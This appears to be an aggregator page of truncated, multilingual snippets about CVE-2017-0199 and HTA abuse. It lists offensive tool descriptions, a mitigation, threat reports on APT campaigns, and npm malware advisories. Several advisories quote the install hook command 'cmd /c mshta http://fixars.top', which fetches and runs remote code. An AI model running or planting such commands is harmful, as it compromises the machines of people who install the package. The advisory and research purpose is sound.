Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Beschreibung: Microsoft Word CVE-2017-0199 ist anfällig für eine RCE über einen HTA-Handler. Eine Remote-Codeausführungsschwachstelle besteht in der Art und Weise, wie Microsoft Office und WordPad speziell gestaltete Dateien analysieren. Ein Angreifer, der diese...

OneLogicalMyth_Shell

OneLogicalMythShell Questa shell HTA è stata creata per assistere nei test di breakout. L'ho costruita più di un anno fa inizialmente e ho pensato che altri potessero trovarla utile, quindi ora l'ho resa pubblica. Sentiti libero di inviare pull request. Caratteristiche Esplora File Elenca Unità -...

CVE-2017-0199

CVE-2017-0199 Exploit-Toolkit CVE-2017-0199 - v2.0 ist ein praktisches Python-Skript, das eine schnelle und effektive Möglichkeit bietet, Microsoft RTF RCE auszunutzen. Es kann eine bösartige RTF-Datei generieren und Metasploit- / Meterpreter-Payloads an das Opfer ausliefern, ohne dass eine...

demiguise

Demiguise - strumento di crittografia HTA Rilasciato come open source da NCC Group Plc - http://www.nccgroup.trust/ Sviluppato da Richard Warren, richard dot warren at nccgroup dot trust http://www.github.com/nccgroup/demiguise Rilasciato sotto AGPL, vedi LICENSE per maggiori informazioni Cosa fa...

morphHTA

Haftungsausschluss Wie üblich sollte dieser Code und dieses Tool nicht für böswillige Zwecke verwendet werden. Geschrieben von Vincent Yiu vom ActiveBreach-Team der MDSec Consulting. Die Modifikation des Codes ist mit Quellenangabe erlaubt. Die Forschung zu Explorer und SWBemLocator COM Moniker...

demiguise

Demiguise - HTA encryption tool Released as open source by NCC Group Plc - http://www.nccgroup.trust/ Developed by Richard Warren, richard dot warren at nccgroup dot trust http://www.github.com/nccgroup/demiguise Released under AGPL, see LICENSE for more information What does it do? The aim of th...

CVE-2017-0199-Fix

Fix per CVE-2017-0199 Rimuovi la capacità di CVE-2017-0199 di eseguire codice modificando il gestore predefinito per i file .hta. Il gestore predefinito per i file richiamati tramite OLE2 oggetti COM è archiviato separatamente dall'applicazione predefinita del sistema locale e può essere modifica...

OHTS

OHTS CVE-2017-8759 | Sicherheitslücke im .NET Framework bei der Remotecodeausführung 1. Einleitung Eine Sicherheitslücke bei der Remotecodeausführung besteht, wenn Microsoft .NET Framework nicht vertrauenswürdige Eingaben verarbeitet. Ein Angreifer, der diese Sicherheitslücke in Software, die das...

MAL-2026-10417 Malicious code in minigptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0 On npm install, the package's preinstall script preinstall.js invokes cmd /c mshta http://fixars.top/..., causing Windows mshta.exe to fetch and...

MAL-2026-10204 Malicious code in gptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895 [email protected] declares a preinstall lifecycle script that runs exec'cmd /c "mshta http://fixars.top"' in preinstall.js. On Windows, this fires...

Gamaredon Expands Ukraine Attacks with New Malware and Cloud Service Abuse

A Russian advanced persistent threat APT group has continued to evolve and expand its malware arsenal as part of its ongoing cyber onslaught against Ukraine throughout 2025. Slovakian cybersecurity company ESET said it observed 35 distinct spear-phishing campaigns mounted by Gamaredon against new...

MAL-2026-5927 Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

UAC-0247 Targets Ukrainian Clinics and Government in Data-Theft Malware Campaign

The Computer Emergencies Response Team of Ukraine CERT-UA has disclosed details of a new campaign that has targeted governments and municipal healthcare institutions, mainly clinics and emergency hospitals, to deliver malware capable of stealing sensitive data from Chromium-based web browsers and...

APT28-Linked Campaign Deploys BadPaw Loader and MeowMeow Backdoor in Ukraine

Cybersecurity researchers have disclosed details of a new Russian cyber campaign that has targeted Ukrainian entities with two previously undocumented malware families named BadPaw and MeowMeow. "The attack chain initiates with a phishing email containing a link to a ZIP archive. Once extracted, ...

PT-2026-7658

Name of the Vulnerable Software and Affected Versions XWEB Pro versions prior to 1.12.1 MSHTML affected versions not specified Description An OS command injection issue exists in XWEB Pro, allowing a user with network access to execute code remotely by injecting malicious input into the request...

Cloud Atlas activity in the first half of 2025: what changed

Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process CVE-2018-0802 to download and execute malicious cod...

New JS#SMUGGLER Campaign Drops NetSupport RAT Through Infected Sites

Securonix Threat Research details the complex JSSMUGGLER campaign, a three-step web attack using obfuscated JavaScript and hidden HTA files to install the NetSupport RAT on user Windows desktops, granting hackers full remote control and persistent access...

Experts Confirm JS#SMUGGLER Uses Compromised Sites to Deploy NetSupport RAT

Cybersecurity researchers are calling attention to a new campaign dubbed JSSMUGGLER that has been observed leveraging compromised websites as a distribution vector for a remote access trojan named NetSupport RAT. The attack chain, analyzed by Securonix, involves three main moving parts: An...

easysploit

This is an exploit module/toolkit targeting various platforms, including Windows, Android, Linux, MacOS, and Web applications. The primary vulnerability targeted is ms17010, specifically EternalBlue, which is a remote code execution vulnerability in Windows systems. The toolkit also includes...

Cloud Atlas seen using a new tool in its attacks

Introduction Known since 2014, Cloud Atlas targets Eastern Europe and Central Asia. We're shedding light on a previously undocumented toolset, which the group used heavily in 2024. Victims get infected via phishing emails containing a malicious document that exploits a vulnerability in the formul...